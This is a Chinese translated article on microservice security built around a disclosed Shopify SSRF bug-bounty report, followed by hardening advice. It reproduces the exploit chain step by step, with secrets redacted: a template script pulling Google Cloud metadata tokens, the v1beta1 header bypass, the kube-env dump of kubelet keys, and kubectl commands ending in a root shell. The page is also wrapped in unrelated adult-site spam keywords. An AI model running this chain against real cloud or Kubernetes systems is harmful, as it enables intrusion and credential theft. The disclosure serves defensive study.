成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

通過Shopify平臺案例探究微服務安全

譯文
安全 網站安全
本文將和您討論微服務安全的重要性,并以Shopify為例探究防范入侵的各種最佳實踐。

【51CTO.com快譯】對于一些大型服務架構而言,微服務的安全性在它們所面臨的諸多攻擊因素中顯得尤為重要。本文將和您討論如何在生產環境中防范各種入侵,以保障整體安全。同時,我將介紹一些實用的方法,以應對通用的微服務安全問題。您可以通過采用這些技術和方法,來輕松地加固各類微服務應用。

另外,我將模擬從公有云服務器實例的單入口,入侵Shopify(譯者注:加拿大電商軟件平臺)的微服務實例,并訪問到其元數據為例,來探討微服務部署和開發過程中的最佳實踐。

[[248544]]

概述

讓我們首先來瀏覽一下微服務的架構特點,和它被用來進行應用開發的過程中,所面對的一系列安全問題。

微服務的一般特性

  • 解耦的組件
  • 增加的復雜性
  • 固定的架構
  • 更短的開發周期
  • 最小化依賴項和共同關注點
  • 小而集中
  • 相關服務之間的數據約定
  • 對某個特定技術棧的依賴
  • 良好的集成測試,減少了安全漏洞

由于開發人員對于AppSec(應用安全)的意識較為薄弱,甚至是對于通用應用安全規范的無視,他們可能會從如下方面增加微服務安全的復雜度與挑戰:

  • 分段和隔離
  • 多云環境的部署,增加了資產安全的管理成本
  • 身份管理和訪問控制
  • 數據與消息的完整性
  • 頻繁的變更與淘汰周期

上述與微服務架構相關的因素,都會導致其整體潛在攻擊面的擴大增加。而隨著服務和資產數量的增加,其風險因素也會大為增多。因此,我們有必要通過定期的代碼審查和安全審計,來解決上述提到的各種開發與部署過程中的問題。

微服務的AppSec

許多公司對AppSec(應用安全)都缺乏重視,他們僅僅依靠一些自動化的漏洞掃描工具,和被動式的威脅建模,來檢查各種安全配置上的錯誤,并測試其基于微服務應用的安全態勢。顯然,這些都無法有效地應對真實環境中的復雜入侵與威脅。

因此開發人員稍有不慎,就可能給應用在整體層面上留下可以被利用和入侵的各種安全漏洞。這正是為什么我們需要不斷地修正自己的開發方式,進而在組織內部通過采用AppSec的最佳實踐,以保證微服務安全態勢的原因。

我們應當將下列技術與實踐,嚴格地貫徹到微服務的開發和部署之中,以確保交付產品的安全可靠,且符合業界規定的各種安全實踐標準。

持續安全

人們經常不得不為自己所忽視的安全而“買單”。因此,持續安全的目標就是要通過定期測試微服務應用的安全性,來降低整體成本與開銷。而實現持續安全的最好方法便是DevSecOps,它包括了持續的安全測試,和精細的內、外部審計。我們需要通過模擬從不同攻擊者的角度,來分析微服務可能會受到哪些方面的入侵,定位其自身可能存在的漏洞,從而將各種問題防范于未然。

方法

  • 內部測試(主要是漏洞被利用之后的階段)
  • 外部測試

下面,我們針對上述方法,來討論持續安全的具體“落地”。

案例探究(Shopify)

“據@0xacb的報告:雖然Shopify基礎架構已被隔離成了多個子集,但是通過Shopify交易平臺上的截屏功能,攻擊者可能利用服務器端請求偽造(request forgery)的bug,來獲得對于某個子集內任何容器的root訪問權限。在接報的一小時后,我們停止了存在漏洞的服務,并審核了所有子集中的應用,進而對整體基礎架構實施了應急補救。存在該漏洞的子集并不包括Shopify的核心。在審核了所有的服務之后,我們通過部署元數據隱藏代理(metadata concealment proxy)的方式,禁用了對于元數據信息的訪問,進而修復了該bug。另外在架構內所有子集中,我們也禁用了通過內部IP地址的直接訪問。鑒于該子集內的一些應用確實有可能會訪問到Shopify的核心數據和系統,我們特為此核心遠程代碼執行漏洞(Core RCE),設置$25000獎金。”

以上便是Shopify在Hackerone(譯者注:全球最大的漏洞眾測平臺)中發布的,其針對該事件的獎賞計劃。

根據該報告,我們能夠得出這樣的結論:即使是應用端的漏洞,也會導致服務器受到入侵的威脅。撇開此類攻擊的復雜性不談,該漏洞還是非常容易被利用的。通常情況下,攻擊者會利用一個非常簡單的SSRF(Server-Side Request Forgery,服務器端請求偽造)來攻擊該漏洞,從而訪問到主實例(master instance)的元數據,然后進一步獲取那些運行在谷歌云平臺上,其他存在同類漏洞的實例的room訪問權限。

Shopify的“入侵鏈”

下面讓我們來探討一下攻擊者將如何通過該漏洞,來獲取所有Shopify實例的root訪問權限。

注:由于源自真實的環境,所以我們在此用████隱去了一些敏感信息。

1. 訪問谷歌云的元數據

 

  • 新建一個店鋪(partners.shopify.com)。
  • 編輯模板:password.liquid,并添加如下內容:
    1. <script> 
    2. window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"
    3. // iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header. 
    4. </script> 
  • 訪問https://exchange.shopify.com/create-a-listing,并安裝Exchange應用。
  • 等待該店鋪的截圖在創建列表頁面上出現。
  • 下載其PNG文件,使用圖像編輯軟件打開它,或將其轉換為JPEG(Chrome瀏覽器會顯示一個黑色PNG)。

雖然查找谷歌云實例中的各個SSRF需要用到一種特殊的包頭,但是我發現可以采用一個非常簡單的方法來“繞過”它:由于/v1beta1端點仍然可用,就算不需要Metadata-Flavor: Google的包頭,仍然可返回相同的token(令牌)。

我曾試圖截獲更多的數據,但是網絡截圖軟件無法根據application/text的響應,產生任何圖像。不過我發現:可以通過添加參數alt=json,以強制讓application/json做出響應。因此我設法截獲了更多的數據,包括:SSH公共密鑰(帶有電子郵件地址)、項目名稱(█████)、和實例名稱等:

  1. <script> 
  2. window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json"
  3. </script> 

那么我可以使用截獲的token來添加自己的SSH密鑰嗎?答案是:不可以。

  1. curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}' 
  1.  "error": { 
  2.   "errors": [ 
  3.    { 
  4.     "domain": "global", 
  5.     "reason": "forbidden", 
  6.     "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'" 
  7.    }, 
  8.    { 
  9.     "domain": "global", 
  10.     "reason": "forbidden", 
  11.     "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'" 
  12.    } 
  13.   ], 
  14.   "code": 403, 
  15.   "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'" 
  16.  } 

我全面檢查了該token,它并沒有對Compute Engine API(譯者注:一種谷歌的API)進行讀與寫的訪問。

  1. curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████" 
  1.  "issued_to": "███████", 
  2.  "audience": "███", 
  3.  "scope": "https://www.googleapis.com/auth/cloud-platform", 
  4.  "expires_in": 1307, 
  5.  "access_type": "offline" 

2. 轉存kube-env

我創建了一個新的店鋪

(http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json),并遞歸地“拉取出”該實例的各項屬性。

由于元數據隱藏

(https://hackerone.com/redirect?signature=800d1491927edd8ed19a6b370a10349a205df89f&url=https%3A%2F%2Fcloud.google.com%2Fkubernetes-engine%2Fdocs%2Fhow-to%2Fmetadata-concealment)未被開啟,因為我能夠獲取到kube-env屬性。

另外,由于圖像已被損壞,因此我針對

http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json創建了一個新的請求,以查看Kubelet證書的剩余部分,及其私鑰。

ca.crt(譯者注:ca證書文件)

  1. -----BEGIN CERTIFICATE----- 
  2. ██████ 
  3. ███████ 
  4. ███████ 
  5. ████████ 
  6. ██████████████ 
  7. ████████ 
  8. ████████ 
  9. ███████ 
  10. ████ 
  11. ██████ 
  12. ███ 
  13. █████████ 
  14. ████ 
  15. ████ 
  16. ████████ 
  17. ███████ 
  18. ███ 
  19. -----END CERTIFICATE----- 

client.crt(譯者注:client端證書文件)

  1. -----BEGIN CERTIFICATE----- 
  2. █████ 
  3. ███████ 
  4. ██████ 
  5. ████████ 
  6. ██████████ 
  7. █████ 
  8. ██████ 
  9. █████ 
  10. █████ 
  11. ██████████ 
  12. ███████ 
  13. █████ 
  14. ████ 
  15. ████ 
  16. ████████ 
  17. ████████ 
  18. -----END CERTIFICATE----- 

client.pem(譯者注:采用Base64 編碼的client端文件,存儲證書+密鑰)

  1. -----BEGIN RSA PRIVATE KEY----- 
  2. █████████ 
  3. ██████ 
  4. ████████ 
  5. ████ 
  6. ████ 
  7. █████████ 
  8. ██████████ 
  9. ██████ 
  10. ████████ 
  11. █████████ 
  12. ██████ 
  13. ██████████ 
  14. ███ 
  15. ██████████ 
  16. ███ 
  17. ██████ 
  18. █████████ 
  19. ████████ 
  20. ██████████ 
  21. █████████ 
  22. ████ 
  23. ████ 
  24. ████████ 
  25. ████ 
  26. ███████ 
  27. -----END RSA PRIVATE KEY----- 

至此,我得到了MASTER_NAME:█████

3. 使用Kubelet執行任意命令

在此,我們可以列出所有的pods:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces 
  2. NAMESPACE                                   NAME                                                              READY     STATUS             RESTARTS   AGE 
  3. ████████                    ██████████                    1/1 

也可以創建新的pods:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml 
  2. pod "shell-demo" created 
  3. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo 
  4. pod "shell-demo" deleted 

由于我無法確定自己是否能以用戶████████的身份,去刪除其正在運行的pods。因此,我無法在這個新的pod或其他pod中執行任何命令:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash 
  2. Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███" 

雖然get secrets命令沒有起到效果,但是它能夠根據給定的pod,運用其名稱來獲取密鑰。我正好運用實例名████,從名稱空間████中,截獲到了kubernetes.io服務帳號的token:

  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████ 
  2. Name:           ████████ 
  3. Namespace:      ██████ 
  4. Node:           ██████████ 
  5. Start Time:     Fri, 23 Mar 2018 13:53:13 +0000 
  6. Labels:         █████ 
  7.                 ████ 
  8.                 █████ 
  9. Annotations:    <none> 
  10. Status:         Running 
  11. IP:             █████████ 
  12. Controlled By:  █████ 
  13. Containers: 
  14.   default-http-backend: 
  15.     Container ID:   docker://███ 
  16.     Image:          ██████ 
  17.     Image ID:       docker-pullable://█████ 
  18.     Port:           ████/TCP 
  19.     Host Port:      0/TCP 
  20.     State:          Running 
  21.       Started:      Sun, 22 Apr 2018 03:23:09 +0000 
  22.     Last State:     Terminated 
  23.       Reason:       Error 
  24.       Exit Code:    2 
  25.       Started:      Fri, 20 Apr 2018 23:39:21 +0000 
  26.       Finished:     Sun, 22 Apr 2018 03:23:07 +0000 
  27.     Ready:          True 
  28.     Restart Count:  180 
  29.     Limits: 
  30.       cpu:     10m 
  31.       memory:  20Mi 
  32.     Requests: 
  33.       cpu:        10m 
  34.       memory:     20Mi 
  35.     Liveness:     http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3 
  36.     Environment:  <none> 
  37.     Mounts: 
  38.       ██████ 
  39. Conditions: 
  40.   Type           Status 
  41.   Initialized    True 
  42.   Ready          True 
  43.   PodScheduled   True 
  44. Volumes: 
  45.  ██████████: 
  46.     Type:        Secret (a volume populated by a Secret) 
  47.     SecretName: ███████ 
  48.     Optional:    false 
  49. QoS Class:       Guaranteed 
  50. Node-Selectors:  <none> 
  51. Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s 
  52.                  node.kubernetes.io/unreachable:NoExecute for 300s 
  53. Events:          <none> 
  1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml 
  2. apiVersion: v1 
  3. data: 
  4.   ca.crt: ██████████ 
  5.   namespace: ████ 
  6.   token: ██████████== 
  7. kind: Secret 
  8. metadata: 
  9.   annotations: 
  10.     kubernetes.io/service-account.name: default 
  11.     kubernetes.io/service-account.uid: ████ 
  12.   creationTimestamp: 2017-01-23T16:08:19Z 
  13.   name:█████ 
  14.   namespace: ██████████ 
  15.   resourceVersion: "115481155" 
  16.   selfLink: /api/v1/namespaces/████████/secrets/████ 
  17.   uid: █████████ 
  18. type: kubernetes.io/service-account-token 

最后如下所示,我就能使用該token從任意容器中獲取shell了。

  1. $ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash 
  2. Defaulting container name to web. 
  3. Use 'kubectl describe pod/w█████████' to see all of the containers in this pod. 
  4. ███████:/# id 
  5. uid=0(root) gid=0(root) groups=0(root) 
  6. █████:/# ls 
  7. app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var 
  8. bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr 
  9. ███████:/# exit 
  10.  
  11. $ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash 
  12. Defaulting container name to web. 
  13. Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod. 
  14. root@████:/# id 
  15. uid=0(root) gid=0(root) groups=0(root) 
  16. root@████:/# ls 
  17. app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var 
  18. bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr 
  19. root@█████:/# exit 

影響程度:嚴重

黑客們可以根據相關的上下文信息,采用服務器端請求偽造(SSRF)來入侵上述漏洞。同時,他們會給目標系統帶來如下影響:

  • 繞過網絡訪問控制,能夠截獲內部服務嗎?
  • 是的。
  • 什么樣的內部服務能被訪問?
  • 谷歌云的元數據。
  • 帶來何種安全影響?
  • RCE(遠程代碼執行)。

保障微服務安全的最佳實踐

通過上述Shopify案例,我們可以學到:

(1) 用戶身份管理、授權和訪問控制。我們的首要任務應該是:設置適當的訪問控制和用戶權限。其中,我們可以使用OAuth2來進行用戶授權的管控。您可按需使用訪問控制,來對不同類型的用戶組進行訪問級別和權限范圍的設置。例如:您可以采用諸如JWT(基于認證的JSON Web Token)、JJWT(Java JWT,請參考https://github.com/jwtk/jjwt)等第三方的服務架構來實現認證,使用SSO來處理授權問題。另外,您也可以參照SAML和LDAP進行身份驗證。

(2) 根據TOTP(time-based one-time password,基于時間的一次性密碼)啟用2FA(two-factor authentication,雙因素認證)。這是另一種很好的方法。它能夠像第二道防線那樣,去彌補JWT自身的各種漏洞,以及處理驗證過程中的疏漏。其代表方式是實施GoogleAuth庫(請參考https://github.com/wstrange/GoogleAuth)。

(3) 不要以明文或純文本的形式存儲敏感數據。請選用libsodium服務(https://github.com/jedisct1/libsodium),對數據進行加、解密。此外,千萬不要采用某種尚處于測試階段的加密算法,因為它們往往可能捆綁了某些框架,或潛在著各種未知的漏洞。

(4) 使用API網關隔離各種資源。您可以使用各種第三方的API網關來達到此效果。

(5) 分離各種API和內部組件,以減少暴露的被攻擊面。

(6) 為了基于REST-API安全,請持續關注每年底更新的OWASP Top 10,并做好自身的漏洞徹審。如前文所述的SSRF,如果我們處置不當,將會帶來RCE的隱患。此法有助于發現一些常見的Web應用漏洞。

(7) 如果部署并使用云平臺,請為帳號和實例配置訪問控制。通常情況下,服務器實例的元數據是開放性的;而隸屬于特定微服務的AWS object buckets(對象存儲空間)也同樣是開放性的。因此我們要通過ACL,來防范它們在最壞情況下被公布于世。正如上述Shopify案例那樣,攻擊者通過利用漏洞,獲取root訪問權限,來進一步截獲與服務器實例有關的敏感元數據。

(8) 對通用序列化(Common serialization)與反序列化(deserialization),基于SQLi漏洞的防范。我們特別要注意那些不安全的反序列化,它們可能會導致包括RCE在內的許多嚴重漏洞。因此,我們需要及時通過熱補丁程序(hotfix)來對用戶的輸入實施審查和“消毒”。例如:Kryo(譯者注:一種快速高效的Java對象圖形序列化架構)就存在著尚未修復的反序列化漏洞,請參見:https://github.com/EsotericSoftware/kryo/issues/398。

  • Ø Spark SQL
  • Ø Kafka + Spark Serialization

(9) 認證,我們可以采用如下的身份驗證APIs(各種架構和服務):

  • 使用Cognito + AWS API網關來處理繁瑣的認證:Cognito使用證書、MFA等來處理認證問題;API網關檢查訪問的token、JWT、以及授權。
  • 在各個服務之間,采用基于角色的限制。
  • 通過要求對每個請求進行簽名,以增加額外的認證保護層。
  • 將Lambda的各個函數整合到hook進程之前和之后:您可以使用各種Swagger文件;也可以參考https://github.com/iheartradio/play-swagger,來為自己的架構輕松產生各種Swagger文件。

(10) 切勿將敏感鍵值或信息存放到環境變量之中。這些信息可能會在某些情況下暴露在應用程序的日志中,或是被其他服務無意中訪問到,從而帶來安全隱患。

原文標題:How to Secure Your Microservices — Shopify Case Study,作者:Arif Khan

【51CTO譯稿,合作站點轉載請注明原文譯者和出處為51CTO.com】

責任編輯:趙寧寧 來源: 51CTO.com
相關推薦

2018-11-12 10:21:42

2016-05-12 13:39:16

IBM大型機混合云

2010-07-28 14:27:13

NFS服務器

2020-11-18 09:37:44

微服務

2018-03-26 04:53:46

Serverless微服務架構

2023-09-13 16:43:28

網關微服務架構開發

2023-09-06 08:51:40

2021-03-17 10:51:16

架構運維技術

2020-06-04 09:24:26

微服務數據框架

2022-02-15 11:49:08

eBPFGo內存

2023-12-14 08:00:00

數據庫微服務開發

2023-06-02 08:33:43

微服務架構服務注冊

2021-03-05 18:05:56

JavaServerless 微服務

2020-08-25 07:00:00

容器微服務技術

2017-07-04 14:57:40

微服務paasdocker

2023-04-21 08:00:00

2019-07-25 08:14:40

RedisJava數據庫

2009-07-04 14:37:12

2019-08-21 08:48:49

操作系統信息安全網絡安全
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 欧美一区2区三区3区公司 | 成人免费视频网站在线看 | 91久久久精品国产一区二区蜜臀 | 欧美精品导航 | 欧美激情国产精品 | 男女国产网站 | 特级黄一级播放 | 久久综合影院 | 精久久 | 国产精品一区二区三区四区 | 国产2区 | 911网站大全在线观看 | 国产一区二区三区在线 | 国产福利91精品一区二区三区 | 免费看国产精品视频 | 国产精品自产av一区二区三区 | 国产伦精品一区二区三区四区视频 | 日韩爱爱网站 | 97精品久久 | 18av在线播放 | 久久99国产精品久久99果冻传媒 | 精品视频一区二区三区 | 欧美日在线 | 久久精品视频网站 | 亚洲一区二区 | 国内自拍偷拍一区 | caoporn视频 | 久久er99热精品一区二区 | 国产亚洲精品久久yy50 | 国产一区二区三区日韩 | 国产精品一区二区av | 日韩视频在线播放 | 免费在线观看成年人视频 | 久久狠狠| 在线免费激情视频 | 亚洲欧美在线一区 | 毛片一级片 | 国产在线视频99 | 日韩a在线| 国产视频福利一区 | 日韩欧美亚洲 |